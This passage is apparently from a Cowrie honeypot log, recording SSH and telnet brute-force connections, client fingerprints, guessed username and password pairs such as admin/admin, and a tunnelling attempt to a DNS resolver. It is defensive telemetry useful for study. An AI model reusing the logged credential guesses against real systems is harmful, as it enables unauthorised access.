{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:06:54.565315Z","src_ip":"87.251.64.176","session":"742a84069248","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:06:54.664666Z","session":"742a84069248","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:06:54.763240Z","src_ip":"87.251.64.176","session":"742a84069248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:06:54.864585Z","src_ip":"87.251.64.176","session":"742a84069248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":33068,"dst_ip":"159.203.135.109","dst_port":22,"session":"a301054dd920","protocol":"ssh","message":"New connection: 96.70.252.227:33068 (159.203.135.109:22) [session: a301054dd920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:07:05.762522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:07:05.771125Z","src_ip":"96.70.252.227","session":"a301054dd920","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:07:05.844709Z","src_ip":"96.70.252.227","session":"a301054dd920","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pwlamea","message":"login attempt [ubuntu/pwlamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:07:06.073193Z","src_ip":"96.70.252.227","session":"a301054dd920","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:07:07.108492Z","src_ip":"96.70.252.227","session":"a301054dd920","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00423002243042,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:07:27.345656Z","src_ip":"87.90.84.206","session":"e94646694e5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":30794,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6a3cbdc415a","protocol":"telnet","message":"New connection: 87.90.84.206:30794 (159.203.135.109:23) [session: a6a3cbdc415a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:07:31.652485Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":30252,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c34b372aa9a","protocol":"telnet","message":"New connection: 87.90.84.206:30252 (159.203.135.109:23) [session: 1c34b372aa9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:07:32.079033Z"}
{"eventid":"cowrie.session.closed","duration":120.00182723999023,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:07:35.944214Z","src_ip":"87.90.84.206","session":"0e9f3ccd0b29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":32408,"dst_ip":"159.203.135.109","dst_port":23,"session":"112011c71bfd","protocol":"telnet","message":"New connection: 87.90.84.206:32408 (159.203.135.109:23) [session: 112011c71bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:07:36.267920Z"}
{"eventid":"cowrie.session.closed","duration":120.0036096572876,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:07:39.043555Z","src_ip":"87.90.84.206","session":"bb5fd731d032","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":26322,"dst_ip":"159.203.135.109","dst_port":23,"session":"c73004c69a25","protocol":"telnet","message":"New connection: 87.90.84.206:26322 (159.203.135.109:23) [session: c73004c69a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:07:40.491503Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":26892,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bb58ed801c8","protocol":"telnet","message":"New connection: 87.90.84.206:26892 (159.203.135.109:23) [session: 1bb58ed801c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:07:45.059976Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26866,"dst_ip":"10.17.0.5","dst_port":22,"session":"be17b26071e1","protocol":"ssh","message":"New connection: 87.251.64.176:26866 (10.17.0.5:22) [session: be17b26071e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:06.627259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:06.631839Z","src_ip":"87.251.64.176","session":"be17b26071e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:06.728774Z","src_ip":"87.251.64.176","session":"be17b26071e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:07.026264Z","src_ip":"87.251.64.176","session":"be17b26071e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:07.129537Z","session":"be17b26071e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:07.228458Z","src_ip":"87.251.64.176","session":"be17b26071e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:07.328900Z","src_ip":"87.251.64.176","session":"be17b26071e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":37270,"dst_ip":"159.203.135.109","dst_port":22,"session":"166136e6c337","protocol":"ssh","message":"New connection: 222.167.161.198:37270 (159.203.135.109:22) [session: 166136e6c337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:07.809760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:07.833014Z","src_ip":"222.167.161.198","session":"166136e6c337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:08.501699Z","src_ip":"222.167.161.198","session":"166136e6c337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecoserver","password":"ecoserver","message":"login attempt [ecoserver/ecoserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:09.616976Z","src_ip":"222.167.161.198","session":"166136e6c337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:10.885855Z","src_ip":"222.167.161.198","session":"166136e6c337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":58228,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e0891cfd7e9","protocol":"ssh","message":"New connection: 58.69.56.44:58228 (159.203.135.109:22) [session: 1e0891cfd7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:22.072637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:22.077121Z","src_ip":"58.69.56.44","session":"1e0891cfd7e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:22.320509Z","src_ip":"58.69.56.44","session":"1e0891cfd7e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#$","message":"login attempt [root/admin!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:23.293602Z","src_ip":"58.69.56.44","session":"1e0891cfd7e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:24.572684Z","src_ip":"58.69.56.44","session":"1e0891cfd7e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00466251373291,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:31.657023Z","src_ip":"87.90.84.206","session":"a6a3cbdc415a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00115370750427,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:32.080041Z","src_ip":"87.90.84.206","session":"1c34b372aa9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":26462,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1a9c232f072","protocol":"telnet","message":"New connection: 87.90.84.206:26462 (159.203.135.109:23) [session: f1a9c232f072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:34.046683Z"}
{"eventid":"cowrie.session.closed","duration":120.00198078155518,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:36.269611Z","src_ip":"87.90.84.206","session":"112011c71bfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":27874,"dst_ip":"159.203.135.109","dst_port":23,"session":"296c35f2144a","protocol":"telnet","message":"New connection: 87.90.84.206:27874 (159.203.135.109:23) [session: 296c35f2144a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:36.642350Z"}
{"eventid":"cowrie.session.closed","duration":120.00484728813171,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:40.496243Z","src_ip":"87.90.84.206","session":"c73004c69a25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":29070,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cf01c5a5d05","protocol":"telnet","message":"New connection: 87.90.84.206:29070 (159.203.135.109:23) [session: 8cf01c5a5d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:41.945200Z"}
{"eventid":"cowrie.session.closed","duration":120.00454306602478,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:45.064378Z","src_ip":"87.90.84.206","session":"1bb58ed801c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":30602,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0bd6b4d20d7","protocol":"telnet","message":"New connection: 87.90.84.206:30602 (159.203.135.109:23) [session: a0bd6b4d20d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:45.541982Z"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":41420,"dst_ip":"159.203.135.109","dst_port":22,"session":"88a4bbf6b136","protocol":"ssh","message":"New connection: 96.70.252.227:41420 (159.203.135.109:22) [session: 88a4bbf6b136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:59.104870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:59.109263Z","src_ip":"96.70.252.227","session":"88a4bbf6b136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:59.140457Z","src_ip":"96.70.252.227","session":"88a4bbf6b136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"muie123","message":"login attempt [ubuntu/muie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:09:59.330586Z","src_ip":"96.70.252.227","session":"88a4bbf6b136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:10:00.364112Z","src_ip":"96.70.252.227","session":"88a4bbf6b136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":47192,"dst_ip":"159.203.135.109","dst_port":22,"session":"917f2f542310","protocol":"ssh","message":"New connection: 58.69.56.44:47192 (159.203.135.109:22) [session: 917f2f542310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:10:23.274117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:10:23.279033Z","src_ip":"58.69.56.44","session":"917f2f542310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 